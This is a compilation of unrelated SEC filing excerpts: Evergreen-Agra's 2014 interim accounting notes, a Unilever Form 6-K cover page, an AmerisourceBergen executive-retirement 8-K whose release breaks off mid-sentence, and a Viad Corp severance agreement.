3 Months Ended Mar. 31, 2014 Summary Of Significant Accounting Policies Policies Principles of Consolidation The accompanying unaudited consolidated financial statements include the accounts of Evergreen-Agra, Inc. (from November 19, 2013 to March 31, 2014) and its wholly owned subsidiary ES (from inception on August 15, 2013 to March 31, 2014). All significant intercompany balances and transactions have been eliminated in consolidation. Basis of Presentation The accompanying unaudited consolidated financial statements have been prepared in accordance with accounting principles generally accepted in the United States of America ("U.S. GAAP") and are expressed in U.S. dollars. Use of Estimates In preparing the unaudited consolidated financial statements in conformity with U.S. GAAP, management makes estimates and assumptions that affect the reported amounts of assets and liabilities and disclosures of contingent assets and liabilities at the dates of the unaudited consolidated financial statements, as well as the reported amounts of revenues and expenses during the reporting periods. Actual results could differ from those estimates. Cash and Cash Equivalents The Company considers all highly liquid instruments with original maturities of three months or less when acquired, to be cash equivalents. We had no cash equivalents at December 31, 2013 and March 31, 2014. Equipment Equipment is stated at historical cost less accumulated depreciation. Depreciation is provided using the straight-line method over the estimated useful lives of the assets, generally ranging from three to five years. Stock-based Compensation Stock-based compensation is accounted for at estimated fair value in accordance with Accounting Standards Codification 718, "Compensation  Stock Compensation." Income Taxes The Company accounts for income taxes under the provisions issued by the FASB which requires recognition of deferred tax liabilities and assets for the expected future tax consequences of events that have been included in the consolidated financial statements or tax returns. Under this method, deferred tax liabilities and assets are determined based on the difference between the financial statements and tax bases of assets and liabilities using enacted tax rates in effect for the year in which the differences are expected to reverse. The Company computes tax assets benefits for net operating losses carried forward. The potential benefit of net operating losses has not been recognized in these consolidated financial statements because the Company cannot be assured it is more likely than not it will utilize the net operating losses carried forward in future years. Loss Per Common Share The Company reports net loss per share in accordance with provisions of the FASB. The provisions require dual presentation of basic and diluted loss per share. Basic net loss per share excludes the impact of common stock equivalents. Diluted net loss per share utilizes the average market price per share when applying the treasury stock method in determining common stock equivalents. For the periods presented, there were no common stock equivalents outstanding. Fair Value of Financial Instruments Pursuant to ASC No. 820, "Fair Value Measurements and Disclosures", the Company is required to estimate the fair value of all financial instruments included on its balance sheet as of December 31, 2013 and March 31, 2014. The Company's financial instruments consist of cash and accounts payable. The Company considers the carrying value of such amounts in the financial statements to approximate their fair value due to the short-term nature of these financial instruments. Recent Accounting Pronouncements In June 2014, the FASB issued ASU 2014-10, "Development Stage Entities (Topic 915): Elimination of Certain Financial Reporting Requirements, including an Amendment to Variable Interest Entities Guidance in Topic 810, Consolidation" ("ASU 2014-10"). ASU 2014-10 removes the financial reporting distinction between development stage entities and other reporting entities and eliminates the requirements for development stage entities to (1) present inception -to-date information in the statements of income, cash flows, and shareholder equity, (2) label the financial statements as those of a development stage entity, (3) disclose a description of the development stage activities in which the entity is engaged, and (4) disclose in the first year in which the entity is no longer a development stage entity that in prior years it had been in the development stage. The Company was required to adopt this new standard on a retrospective basis for the year ended December 31, 2015 and interim periods therein; however, early application was permitted. The Company has elected to adopt the new reporting standard for financial statements filed commencing with Form 10-K for the year ended December 31, 2013. Other than simplifying the presentation of the Company's financial statements and needed disclosures, the adoption of ASU 2014-10 has not affected the Company's financial statements.

v3.3.1.900

Acquisition Of Evergreen Systems (Tables)

3 Months Ended Mar. 31, 2014 Acquisition Of Evergreen Systems Tables Schedule of Recognized Identified Assets Acquired and Liabilities Assumed The estimated fair values of the identifiable net assets of the Company at November 19, 2013 (effective date of the reverse acquisition) consisted of: Cash and cash equivalents $ 4 Prepaid expense 82 Equipment, net 2,466 Total Assets 2,552 Accounts payable 590,852 Accounts payable - related parties 587,073 Total liabilities 1,177,925 Identifiable Net Assets $ (1,175,373 ) Business Acquisition, Pro Forma Information The pro forma information is not necessarily indicative of the results that would have been reported had the transaction actually occurred on January 1, 2013, nor is it intended to project results of operations for any future period. Three Months Ended

March 31,

2013 Revenue $ - Operating Expenses 123,715 Net Loss $ (123,715 ) Net Loss per Common Share - basic and diluted $ (0.01 ) Weighted Average Number of Common Shares Outstanding - basic and diluted 20,422,802

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v3.3.1.900

Accounts Payable (Tables)

3 Months Ended Mar. 31, 2014 Accounts Payable Tables Schedule of Accounts Payable Accounts payable at March 31, 2014 and December 31, 2013 consists of: March 31,

2014 December 31,

2013 (Unaudited) Former law firms $ 502,502 $ 507,840 Former audit firms 7,625 7,625 Other service providers 71,747 73,332 Total $ 581,874 $ 588,797

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v3.3.1.900

Accounts Payable - Related Parties (Tables)

3 Months Ended Mar. 31, 2014 Accounts Payable - Related Parties Tables Schedule of Related Party Transactions Accounts payable  related parties at March 31, 2014 and December 31, 2013 consists of: March 31,

2014 December 31,

2013 (Unaudited) Harpreet Sangha, chief executive office of the Company from September 19, 2009 to September 1, 2013 and director of the Company from September 19, 2009 to May 4, 2014 $ 61,109 $ 63,218 Herminder Rai, chief financial officer of the Company from April 12, 2012 to September 21, 2013 and director of the Company from May 8, 2012 to March 11, 2014 69,472 72,143 Sam Sangha, brother of Harpreet Sangha 140,825 146,367 Craig Alford, director of the Company from October 14, 2011 to September 1, 2013 284,936 296,150 Total $ 556,342 $ 577,878

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v3.3.1.900

Income Taxes (Tables)

3 Months Ended Mar. 31, 2014 Income Taxes Tables Schedule of Effective Income Tax Rate Reconciliation The Company's effective tax rate differs from the United States Federal income tax rate as follows: Three Months Ened March 31, 2014 (Unaudited) Corporate Federal income tax at 35% $ (20,911 ) Non-deductible stock-based compensation 30,800 Non-taxable foreign exchange gain (9,961 ) Change in valuation allowance 72 Provision for Income Taxes $ -

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Income Taxes (Details Narrative)

3 Months Ended Mar. 31, 2014 Income Taxes Details Narrative Net operating loss carryforwards expire 2028 to 2034

v3.3.1.900

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FORM 6-K

SECURITIES AND EXCHANGE COMMISSION

Washington, D.C. 20549

REPORT OF FOREIGN ISSUER

Pursuant to Rule 13a-16 or 15d-16

of the Securities Exchange Act of 1934

For the month of April, 2016



UNILEVER PLC

(Translation of registrant's name into English)

UNILEVER HOUSE, BLACKFRIARS, LONDON, ENGLAND

(Address of principal executive offices)

Indicate by check mark whether the registrant files or will file annual reports

under cover Form 20-F or Form 40-F.



Form 20-F..X.. Form 40-F.....



Indicate by check mark if the registrant is submitting the Form 6-K in paper

as permitted by Regulation S-T Rule 101(b)(1):_____



Indicate by check mark if the registrant is submitting the Form 6-K in paper

as permitted by Regulation S-T Rule 101(b)(7):_____



Indicate by check mark whether the registrant by furnishing the information

contained in this Form is also thereby furnishing the information to the

Commission pursuant to Rule 12g3-2(b) under the Securities Exchange Act of 1934.

Yes ..... No .X..

If "Yes" is marked, indicate below the file number assigned to the registrant

in connection with Rule 12g3-2(b): 82- _______





Exhibit 99 attached hereto is incorporated herein by reference.





Signatures

Pursuant to the requirements of the Securities Exchange Act of 1934, the registrant has duly caused this report to be signed on its behalf by the undersigned, thereunto duly authorized.





UNILEVER PLC /S/ T.E. LOVELL By T.E. LOVELL SECRETARY

Date: 22 April, 2016





EXHIBIT INDEX

-------------



EXHIBIT NUMBER EXHIBIT DESCRIPTION

99 Notice to London Stock Exchange dated 22 April 2016

Publication of a Prospectus



Exhibit 99
UNITED STATES SECURITIES AND EXCHANGE COMMISSION Washington, DC 20549 FORM 8-K CURRENT REPORT PURSUANT TO SECTION 13 OR 15(d) OF THE SECURITIES EXCHANGE ACT OF 1934 Date of Report (Date of earliest event reported): April 22, 2016 AmerisourceBergen Corporation (Exact name of Registrant as specified in its charter) Delaware 1-16671 23-3079390 (State or Other

Jurisdiction of

Incorporation or

Organization) Commission File Number (I.R.S. Employer

Identification

Number) 1300 Morris Drive Chesterbrook, PA 19087 (Address of principal executive offices) (Zip Code) Registrants telephone number, including area code: (610) 727-7000 N/A (Former name or former address, if changed since last report.) Check the appropriate box below if the Form 8-K filing is intended to simultaneously satisfy the filing obligation of the registrant under any of the following provisions ( see General Instruction A.2. below): o Written communications pursuant to Rule 425 under the Securities Act (17 CFR 230.425) o Soliciting material pursuant to Rule 14a-12 under the Exchange Act (17 CFR 240.14a-12) o Pre-commencement communications pursuant to Rule 14d-2(b) under the Exchange Act (17 CFR 240.14d-2(b)) o Pre-commencement communications pursuant to Rule 13e-4(c) under the Exchange Act (17 CFR 240.13e-4(c))

Item 5.02 Departure of Directors or Certain Officers; Election of Directors; Appointment of Certain Officers; Compensatory Arrangements of Certain Officers. (b) On April 22, 2016, AmerisourceBergen Corporation (the Company) issued a news release announcing that David W. Neu, the Companys Executive Vice President of Retail Strategy and President of Good Neighbor Pharmacy, will retire in the summer of 2016. The news release is attached as Exhibit 99.1 to this report and is incorporated herein by reference. Item 9.01. Financial Statements and Exhibits. (d) Exhibits Exhibit Number Description of Exhibit 99.1 News Release of AmerisourceBergen Corporation dated April 22, 2016. 2

SIGNATURES Pursuant to the requirements of the Securities Exchange Act of 1934, the registrant has duly caused this report to be signed on its behalf by the undersigned hereunto duly authorized. AmerisourceBergen Corporation April 22, 2016 By: /s/ Tim G. Guttman Name: Tim G. Guttman Title: Executive Vice President and Chief Financial Officer 3

EXHIBIT INDEX Exhibit Number Description of Exhibit 99.1 News Release of AmerisourceBergen Corporation dated April 22, 2016. 4

Exhibit 99.1 Contact: Lauren Moyer, AmerisourceBergen 610-727-3696  Office 215-460-6981  Mobile [email protected] AmerisourceBergen Executive Vice President of Retail Strategy and President of Good Neighbor Pharmacy David W. Neu to Retire Brian Nightengale, RPh, PhD, President of Xcenda to assume role as President of Good Neighbor Pharmacy Conshohocken, Pa., (April 22, 2016) AmerisourceBergen Corporation (NYSE: ABC) today announced that David W. Neu, Executive Vice President of Retail Strategy and President of Good Neighbor Pharmacy will retire in the summer of 2016. Neu has served AmerisourceBergen for more than 30 years in an array of leadership roles including heading the AmerisourceBergen Drug Corporation. During his tenure with the company, Neu has passionately championed the value of independent community pharmacy to the health and pharmaceutical industry. Neus leadership extends beyond AmerisourceBergen to numerous industry organizations including his appointment as Board of Directors Chairman for the Healthcare Distribution Management Association in 2012 and his election to the board of the National Association of Chain Drug Stores in 2015. Our company will continue to be inspired by Dave, and his legacy will be AmerisourceBergens unwavering focus on providing innovative and impactful support to community pharmacists, said Steven H. Collis, AmerisourceBergens Chairman, President and Chief Executive Officer. Dave has been a true friend and mentor to many including me. He has inspired so many of us with his tremendous energy, dedication to our customers and an approachable manner that has motivated associates at every level of our organization. Brian Nightengale, RPh, PhD, President of Xcenda will immediately assume the role of President of Good Neighbor Pharmacy. Nightengale has more than 20 years of experience with Xcenda, a part of AmerisourceBergen, leading efforts to demonstrate the value of pharmaceutical products while improving patient access to medications. As an original Xcenda employee, Nightengale played a key role in growing the company from a startup to a global leader in commercialization support for innovative medical treatments. Prior to joining Xcenda, Nightengale served as an Assistant Professor at the College of Pharmacy, University of Oklahoma Health Sciences Center where he is currently a member of the National Board of Advisors. In todays healthcare landscape, independent pharmacists are seeking partners who can help grow their business and their ability to meet the needs of patients in communities across the country, said Robert P. Mauch, PharmD, PhD, President of AmerisourceBergen Drug 1
UNITED STATES

SECURITIES AND EXCHANGE COMMISSION

Washington, D.C. 20549

FORM 8-K/A

(Amendment No. 1)

CURRENT REPORT

Pursuant to Section 13 OR 15(d) of the Securities Exchange Act of 1934

April 20, 2016

Date of Report (Date of earliest event reported)

Viad Corp

(Exact name of registrant as specified in its charter)

Delaware 001-11015 36-1169950 (State or other jurisdiction (Commission (IRS Employer of incorporation) File Number) Identification No.)

1850 North Central Avenue, Suite 1900, Phoenix, Arizona 85004-4565 (Address of principal executive offices) (Zip Code)

Registrants telephone number, including area code: (602) 207-1000

Check the appropriate box below if the Form 8-K filing is intended to simultaneously satisfy the filing obligation of the registrant under any of the following provisions (see General Instruction A.2. below):

 Written communications pursuant to Rule 425 under the Securities Act (17 CFR 230.425)

 Soliciting material pursuant to Rule 14a-12 under the Exchange Act (17 CFR 240.14a-12)

 Pre-commencement communications pursuant to Rule 14d-2(b) under the Exchange Act (17 CFR 240.14d-2(b))

 Pre-commencement communications pursuant to Rule 13e-4(c) under the Exchange Act (17 CFR 240.13e-4(c))

EXPLANATORY NOTE

This Amendment to the Current Report on Form 8-K filed by Viad Corp (the Company) on March 24, 2016 (the Original Report) is being filed to provide information regarding the Severance Agreement and General Release entered into between Mr. Thomas M. Kuczynski and the Company that was not available at the time that the Original Report was filed. The information previously reported in the Original Report is incorporated herein by reference.

Item 5.02 DEPARTURE OF DIRECTORS OR CERTAIN OFFICERS; ELECTION OF DIRECTORS; APPOINTMENT OF CERTAIN OFFICERS; COMPENSATORY ARRANGEMENTS OF CERTAIN OFFICERS

On April 20, 2016, the Company and Mr. Thomas M. Kuczynski finalized the terms of a Severance Agreement and General Release (the Agreement). Under the Agreement, Mr. Kuczynski will receive nine months base salary, and will continue to receive health and other benefits until the earlier of December 23, 2016 or the date on which he begins new employment (the Continuation Period). If Mr. Kuczynski actively searches for, but does not secure, an offer for new employment during the Continuation Period, he will continue to receive the above payments and benefits for up to three months after the Continuation Period. Mr. Kuczynski will also receive a pro-rated payment under the Viad Corp 2016 Management Incentive Plan, if earned and subject to the other terms and conditions of the plan, and up to 12 months of outplacement services. Mr. Kuczynskis right to receive any of the payments and benefits described above is contingent upon his compliance with the Agreements confidentiality, non-solicitation, non-competition, and other related provisions.

The foregoing description of the Agreement is a summary and is qualified in its entirety by the full text of the Agreement, a form of which is attached hereto as Exhibit 10 and incorporated by reference herein.

Item 9.01 FINANCIAL STATEMENTS AND EXHIBITS

(d) Exhibits

10  Form of Severance Agreement and General Release between Viad Corp and Thomas M. Kuczynski.

SIGNATURES

Pursuant to the requirements of the Securities Exchange Act of 1934, the registrant has duly caused this report to be signed on its behalf by the undersigned thereunto duly authorized.

Viad Corp

(Registrant) April 22, 2016 By: /s/ Leslie S. Striedel Leslie S. Striedel Chief Accounting Officer

Exhibit 10

SEVERANCE AGREEMENT AND GENERAL RELEASE

This SEVERANCE AGREEMENT AND GENERAL RELEASE (Agreement) is made and entered into by and between Viad Corp, including its subsidiary and affiliated companies (collectively, Employer or the Company), and Thomas M. Kuczynski (Employee) (collectively referred to as the Parties) on the terms and conditions set forth below.

WHEREAS, Employees employment with Employer will end as of March 22, 2016 (the Separation Date) under circumstances entitling Employee to the compensation and benefits specified in Employers Executive Officer Continuation of Pay Policy (the Policy);

WHEREAS, Employer intends to provide Employee with the compensation and benefits as provided in the Policy; and

WHERAS, Employee desires, in exchange for such compensation and benefits and other terms and conditions as set forth herein, to waive and release any and all claims that Employee may have against Employer.

NOW THEREFORE, in consideration of and exchange for the promises, covenants, and releases contained herein, the Parties mutually agree as follows:

1. Effective Date .

A. As a result of the elimination and/or consolidation of Employees current position, Employees employment with Employer will end effective March 22, 2016.

B. Effective Date Of Agreement . This Agreement shall be effective as provided in the following acknowledgement: Acknowledgment of Rights and Waiver of Claims Under the Age Discrimination in Employment Act ("ADEA") . Employee acknowledges that Employee is knowingly and voluntarily waiving and releasing any rights Employee may have under the ADEA. Employee also acknowledges that the consideration given for the waiver and release contained in this Agreement is in addition to anything of value to which Employee was already entitled. Employee further acknowledges that Employee has been advised by this writing, as required by the Older Workers' Benefit Protection Act, that: (i) her/his waiver and release does not apply to any rights or claims that may arise after the Effective Date (defined below) of this Agreement; (ii) Employee should consult with an attorney prior to executing this Agreement; (iii) Employee has at least twenty-one (21) days to consider this Agreement (although Employee may by his/her own choice execute this Agreement earlier); (iv) Employee has seven (7) days following the full execution of this Agreement by both of the Parties to revoke the Agreement; and (v) this Agreement shall not be effective until the date upon which the revocation period has expired (Effective Date). Employee may revoke this Release only by giving Employer written notice of Employee's revocation of this Release, to Deborah J. DePaoli, Employers General Counsel, to be received by Employer by the close of business on the seventh (7th) day following Employee's execution of this Release.

2. Severance Benefits .

A. Employee shall receive the following benefits, provided that Employee does not revoke this Agreement as provided in paragraph 1(B), above, and the Employee complies with all other terms and conditions set forth herein:

i. Employer agrees to continue to pay Employee his current salary, less all customary and required withholdings, on Companys established payroll dates for a nine (9) month period beginning on March 23, 2016, and ending on December 23, 2016, (Initial Salary Continuation

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Payments). Employees earned but unpaid salary and accrued but unused vacation pay through March 22, 2016, less statutory and authorized deductions, will be paid on Employers regularly scheduled pay date of April 1, 2016, in accordance with Employers normal payroll schedule and pursuant to Company policy. Should Employee not secure an offer for new employment as of December 24, 2016, and has actively searched for new employment during the above-described period, Employer will continue to pay Employee his current salary, less all customary and required withholdings, for up to an additional three (3) month period beginning December 24, 2016, and ending March 24, 2017 (Secondary Salary Continuation Payments). Employee hereby agrees and acknowledges that Employers obligation to make any payment(s) to Employee after December 23, 2016 shall cease as of the date Employee commences new employment. Employee agrees to provide immediate notice to Employer in writing upon securing such new employment. Employee will further be entitled to a pro-rated payment pursuant to Employers 2016 Management Incentive Plan (MIP), if earned, subject to the MIP terms and conditions without restricting or refusing any payment on the basis that the Executive will not be employed, and calculated without the exercise of any discretion on the part of Employer which would result in a downward adjustment to such calculation, except where the exercise of such discretion is with respect to the overall determination as to whether the financial Performance Measures have been achieved on a group basis and not in respect of an adjustment on an individual or selective basis for Executive. Subject to paragraphs 2(A)(ii) and 2(B), below, Employee hereby agrees and acknowledges that he will not be entitled to any other payments from Employer, including but not limited to any other payment for any bonus, incentive, and/or other similar plan of Employer;

ii. Employee will continue to be eligible for Employers health insurance and related benefit programs (specifically, Employers medical, dental, vision, life and voluntary accidental death & dismemberment), except as specifically provided below, as long as he remains eligible for his salary payments from Employer, but in no event will this eligibility continue past March 31, 2017. Employee agrees that the cost of his chosen level of participation in such plan(s) shall be deducted from Employees payments, as stated above, during the salary continuation period. Once Employees eligibility for Employers health benefit program (medical, dental, vision) terminates, Employee will be eligible for continuation of coverage pursuant to COBRA; however, Employees Life Insurance, Short-Term Disability, Long-Term Disability, and Business Travel Accident insurance coverage will cease;

iii. Employees eligibility to make contributions to the Employer's 401(k) Plan and Supplemental Trim Plan, and Employers matching obligation under its 401(k) Plan and Supplemental Trim Plan, shall also continue for the period for which he is entitled to receive ongoing salary continuation payments from Employer, but in no event past December 23, 2016. Employee agrees that the cost of his chosen level of participation in such plan(s) shall be deducted from Employees payments, as stated above, during the salary continuation period; and

iv. Employer agrees to provide Employee with outplacement services through The Right Management Program (contact information number: 972-371-1100) for a maximum of up to twelve (12) months to commence on a date within six (6) months of the Effective Date of this Agreement. If Employee elects not to utilize the outplacement services within six (6) months of the Effective Date of this Agreement, Employee agrees to forfeit this outplacement services benefit. Invoices are to be submitted directly by Right Management to Employer for payment. All outplacement services benefits will cease as of the day Employee commences new employment.

B. All benefits set forth above will cease on the last day of the month in which Employee commences new employment. Any remaining Initial Salary Continuation Payments, as described in paragraph 2(A)(i), will be paid in the event Employee secures new employment prior to December 23, 2016, and Employer retains the right to pay any such amounts in a single lump sum. Employee agrees and acknowledges that Employees participation in any other Employer-sponsored perquisite programs not specifically set forth above will cease as of the Separation Date. Employee agrees to provide immediate notice to Employer in writing upon securing such employment.

C. Employees Restricted Stock Awards and Performance Units previously granted by Employer to Employee will continue to vest in accordance with the terms and conditions of the

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applicable agreement(s), including but not limited to Employees requirement to execute this Agreement, which is being requested by Employer, and any diminution, forfeiture, or reduction in such awards due to Employees termination of employment shall not apply, nor shall Employer utilize any discretion available under the Plan on its part which might result in a downward adjustment to the vesting or value of any award, except where the exercise of such discretion is with respect to the overall determination as to whether the financial Performance Measures have been achieved on a group basis and not in respect of an adjustment on an individual or selective basis for Employee. In addition, upon Employees request, Employer shall provide Employee officer certification that achievement percentages for the items set forth in this Paragraph 2.i.C were applied equally to other Viad corporate executive officers.

D. The payment and provision of any payments and/or benefits provided herein shall be contingent upon Employees compliance with the covenants set forth in this Agreement. A final and binding determination of breach of the covenants set forth in this Agreement in paragraphs 6 through 10 by an arbitrator pursuant to paragraph 20 below will cause Employee to forfeit any right to continued payment or provision set forth in this Agreement regardless of the amount provided or paid prior to the date of the breach. Employee will not be entitled to any of the payments and/or benefits provided herein until the occurrence of each of the following: (i) this Agreement is fully executed by the Parties hereto; (ii) this Agreement becomes effective as provided in paragraph 1, above; (iii) Employee has submitted a letter of resignation of any and all offices held with Employer, in the form attached hereto as Exhibit A; and (iv) Employee has complied with the covenant contained in paragraphs 6 and agreed to paragraph 10, below.

3. Acknowledgments . Employee acknowledges that Employee would not otherwise be entitled to consideration in the full amount set forth above were it not for Employees covenants, promises, and releases set forth hereunder. Except as otherwise provided in this Agreement, Employee further acknowledges and agrees that upon receiving the severance payment described above, Employee will have received all wages and other compensation or remuneration of any kind due or owed from Employer, including but not limited to all wages, overtime, or other wage premiums, bonuses, advances, vacation pay, severance pay, and any other incentive-based compensation or benefits to which Employee was or may become entitled or eligible. Finally, Employee acknowledges that Employer has provided Employee with all notices, leaves and benefits to which he may have been entitled to under the Family and Medical Leave Act, the Americans with Disabilities Act, the Uniformed Services Employment and Reemployment Right Act, and/or any and all state statutes regarding employee leave (including but not limited to those regarding medical leave, family leave, military leave, civic leave, etc.).

4. Releases .

A. Release by Employee . Employee on his own individual behalf and on behalf of his respective predecessors, heirs, successors and assigns, hereby releases and forever discharges Employer, and each of Employer's employees, officers, directors, agents, attorneys, insurance carriers, parents, subsidiaries, divisions or affiliated organizations or corporations, whether previously or hereafter affiliated in any manner, and the respective predecessors, successors and assigns of all of the foregoing (collectively referred to hereinafter as "Released Parties"), from any and all claims, demands, causes of action, obligations, charges, damages, liabilities, attorneys' fees, and costs of any nature whatsoever, contingent, or non-contingent, matured or unmatured, liquidated or unliquidated, whether or not known, suspected or claimed, which Employee had, now has or may claim to have had as of the Effective Date against the Released Parties (whether directly or indirectly) or any of them, by reason of any act or omission whatsoever, concerning any matter, cause or thing, including, without limiting the generality of the foregoing, any claims, demands, causes of action, obligations, charges, damages, liabilities, attorneys' fees and costs relating to or arising out of any alleged violation of any contracts, express or implied, any employment policy, any covenant of good faith and fair dealing, express or implied, a tort, or any legal restrictions on any of employer's right to terminate employees, or any federal, state, municipal or other governmental statute, public policy, regulation or ordinance, including but not limited to the following: the Title VII of the Civil Rights Act of 1964, as amended; the Age Discrimination in Employment Act of 1967, as amended; the Americans with Disabilities Act of 1990, as amended; 42 U.S.C. 12101, et. seq.; the Family and Medical Leave Act of 1993; the Employee Retirement Income Security Act of 1974;

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the Worker Adjustment and Retraining Notification Act, including but not limited to any state version thereof; the Civil Rights Act of 1991; the Fair Credit Reporting Act; the Older Workers Benefit Protection Act; the Sarbanes Oxley Act of 2002, 18 U.S.C.  1514A et seq., the Lilly Ledbetter Fair Pay Act, Pub. L. No. 111-2,  3 (2009), the Genetic Non-Discrimination Act, 42 U.S.C.  2000ff, the Equal Pay Act, 29 U.S.C.  206, the Fair Labor Standards Act, 29 U.S.C.  201 et seq.; Titles 31, 38a, and 53 of the Connecticut General Statutes, et seq., including but not limited to any supplement thereto; and to the extent releasable under the law, any other federal, state, city or local anti-discrimination and/or anti-harassment acts, state wage acts and non-interference or non-retaliation statutes, regulations, and all other claims.

B. Non-Releasable Claims . Notwithstanding the foregoing, Employees release does not release any claims that Employee cannot lawfully waive, nor does it apply to (i) any breach of this Agreement; (ii) any claim to any benefits vested or to be vested referenced herein; or (iii) any claim to unemployment compensation. Moreover, Employees release does not prohibit Employee from filing a charge with the Equal Employment Opportunity Commission as long as Employee does not personally seek reinstatement, damages, remedies, or other relief as to any claim herein released by Employee.

C. Limited Release by Employer . Employer, and all of its past, present and future directors, officers, agents, attorneys, insurers, representatives, employees, parent or subsidiary business entities, and any person acting on behalf of or in concert with any of them, voluntarily release Employee, Employees heirs, executors, administrators, successors, and assigns, from any and all known claims which Employer has or may have against Employee as of the date of execution of this Agreement concerning Employees employment or the termination thereof.

D. Indemnification by Employer . From and after the Separation Date, Employer shall indemnify, defend and hold harmless Employee against all costs or expenses (including reasonable attorneys' fees), judgments, fines, losses, claims, damages or liabilities incurred by Employee as a party to or witness or other participant in, or if Employee is threatened to be made a party to or witness or other participant in, any claim, action, suit, proceeding or investigation, whether civil, criminal, administrative or investigative, arising out of actions or omissions occurring prior to his termination, with respect to the Company or which is based upon or relates to Employee's capacity as an employee of Employer, to the fullest extent Employee is permitted to be indemnified under law as in effect on the date of this Agreement.

5. Employment References . Employee agrees to direct all reference requests to the Employers General Counsel. In response to any such inquiry, Employer shall disclose no more than the following information: (i) dates of employment; (ii) last position held; (iii) that Employee resigned; and (iv) last wage or salary earned (confirmation of disclosed amounts only) and shall state it is Employers policy only to provide such limited information.

6. Covenant to Return Employer Property . Employee hereby represents and warrants that on or before April 8, 2016, Employee will return to the Employer all Employer property and documents in his possession including, but not limited to: Employer files, notes, records, computer equipment, peripheral and/or communication devices, electronic media containing computer recorded information, tangible property, credit cards, entry cards, pagers, identification badges, keys, and any other items provided to the Employee, and will otherwise remove all remaining personal effects from Employers Stamford, CT office. Notwithstanding the forgoing, Employer has made and will continue to make certain computer and related equipment available for Employees use in its Stamford, CT office, which equipment Employee agrees to leave in such office upon Employers 15-day notice that Employee can no longer access its Stamford, CT office.

7. Non-Disclosure/Non-Competition/Non-Solicitation Covenants . Employee acknowledges that during the course of his employment with Employer, Employee had access and was privy to non-public Confidential Information (including trade secrets) important to Employer's business. Such Confidential Information includes, but is not limited to, matters of a technical nature such as methods, formulae, compositions, processes, discoveries, research projects, equipment, machines,

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inventions, computer programs/systems, and similar items, matters of a business nature such as information about Employers payroll, costing, purchasing, pricing, profits, markets, sales, customers, customer lists, Employer sales materials, pricing information, business and marketing strategies, profit margins, customer preferences and requirements, records, memoranda, and company files, and matters pertaining to future developments, such as operational plans, business development, product ideas, future business strategies, and marketing. Employee acknowledges that such Confidential Information constitutes trade secrets pursuant to applicable statutes, including the Uniform Trade Secrets Act as adopted by the state in which the Employee resides, that the Confidential information is worthy of protection, that the Confidential Information is the sole property of the Employer, and that the covenants contained in this Agreement are a reasonable means to provide such protection. Accordingly, Employee agrees that for so long as the pertinent information or data remains Confidential Information, Employee shall not divulge or make use of any Confidential Information, directly or indirectly, personally or on behalf of any other person, business, corporation, or entity without prior written consent of Employer. Employee further acknowledges and agrees that any and all confidentiality agreements that Employee has previously entered into regarding Employers Confidential Information shall continue to remain in full force and effect and shall survive Employees separation of employment with Employer. Employee finally acknowledges and agrees that the agreement which provides the most protection to Employers Confidential Information (whether this Agreement or any confidentiality agreement previously entered into by Employee) shall govern Employees duties not to divulge or make use of Employers Confidential Information.

Employee further agrees and acknowledges that he executed other agreements with Employer, including but not limited to those regarding incentive/bonus plans, restricted stock, performance units, and other plans that contain similar confidentiality/trade secret obligations in addition to certain non-competition and non-solicitation provisions. Employee hereby agrees and acknowledges that those obligations remain in full force in effect, and nothing in this Agreement alters, amends, or changes Employees commitments set forth therein.

8. Confidentiality . Employee agrees that, except to the extent publicly disclosed by the Employer under any reporting requirement, he will keep the terms, amount, and fact of this Agreement completely confidential, and that he will not hereafter disclose any information concerning this Agreement to anyone; provided, however, that Employee may make such disclosure to his immediate family and to his professional representatives (e.g., attorneys, accountants, auditors, and tax preparers) all of whom will be informed of and agree to be bound by this confidentiality clause.

9. Non-Disparagement . Employee and Employer mutually agree and promise that they will not undertake any harassing or disparaging conduct directed at each other, and that they will refrain from making any negative, detracting, derogatory, and unfavorable statements about each. Employee further agrees and promises that he will not induce or incite claims of discrimination, wrongful discharge, or any other claims against Employer by any other person. Employer and Employee hereby agree and acknowledge, however, that the terms of this paragraph 9 would not and do not prevent either party from providing truthful information in response to a legal subpoena and/or other legal process.

10. Future Cooperation . Employee agrees to cooperate with the Employer and use his best efforts in responding to all reasonable requests by the Employer for assistance and advice relating to matters and procedures in which Employee was involved or which Employee managed or was responsible for while Employee was employed by the Employer.

11. Claims Involving Employer . Employee represents that Employee has not instituted, filed or caused others to file or institute any charge, complaint or action against Employer. Employee covenants that, to the full extent permitted by law, Employee will not file or institute complaint or action against Employer with respect to any matters arising before or on the date Employee signs this Agreement. Employee will not recommend or suggest to any potential claimants or employees of Employer or their attorneys or agents that they initiate claims or lawsuits against Employer, and/or any of its subsidiaries, nor will Employee voluntarily aid, assist, or cooperate with any claimants or employees of Employer or their attorneys or agents in any claims or lawsuits now pending or commenced in the future

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against Employer and/or its subsidiaries; provided, however, that nothing in this paragraph will be construed to prevent Employee from giving truthful testimony in response to direct questions asked pursuant to a lawful subpoena during any future legal proceedings involving Employer.

12. Corporate Authority to Execute . Employer represents that all corporate action, and any other authorizations prerequisite to the execution and operation of this Agreement and the undertakings described herein, have been taken and/or obtained by it. This Agreement is a valid and binding agreement of Employer and is enforceable against it in accordance with its terms. Neither the execution and/or delivery of this Agreement, nor the consummation of the transactions contemplated hereby, will violate or conflict with the Articles of Incorporation (or any other charter documents) or the bylaws (or like documents) of Employer, or any provision of any agreement or other restriction of any kind to which Employer is a party or by which it is bound.

13. Entire Agreement . This Agreement embodies the entire agreement of all the Parties hereto who have executed it and supersedes any and all other agreements, understandings, negotiations, or discussions, either oral or in writing, express or implied, between the Parties to this Agreement, except for those agreements between Employee and Employer regarding and/or including provisions addressing confidentiality, non-competition/non-solicitation; any Patent and Trade Secret Agreements, Use of Company-Owned Computer Systems Agreements, Always Honest Agreements, and/or any other separate agreements regarding other benefits including but not limited to restricted stock, stock option, performance units, pensions, retiree benefits, etc., which will remain in full force and effect, it being understood that this Agreement is in addition to and not in substitution for the covenants and obligations contained in such agreements. The Parties to this Agreement acknowledge that no representations, inducements, promises, agreements or warranties, oral or otherwise, have been made by them, or anyone acting on their behalf, which are not embodied in this Agreement; that they have not executed this Agreement in reliance on any representation, inducement, promise, agreement, warranty, fact or circumstance, not expressly set forth in this Agreement; and that no representation, inducement, promise, agreement or warranty not contained in this Agreement including, but not limited to, any purported settlements, modifications, waivers or terminations of this Agreement, shall be valid or binding, unless executed in writing by all of the Parties to this Agreement. This Agreement may be amended, and any provision herein waived, but only in writing, signed by the party against whom such an amendment or waiver is sought to be enforced.

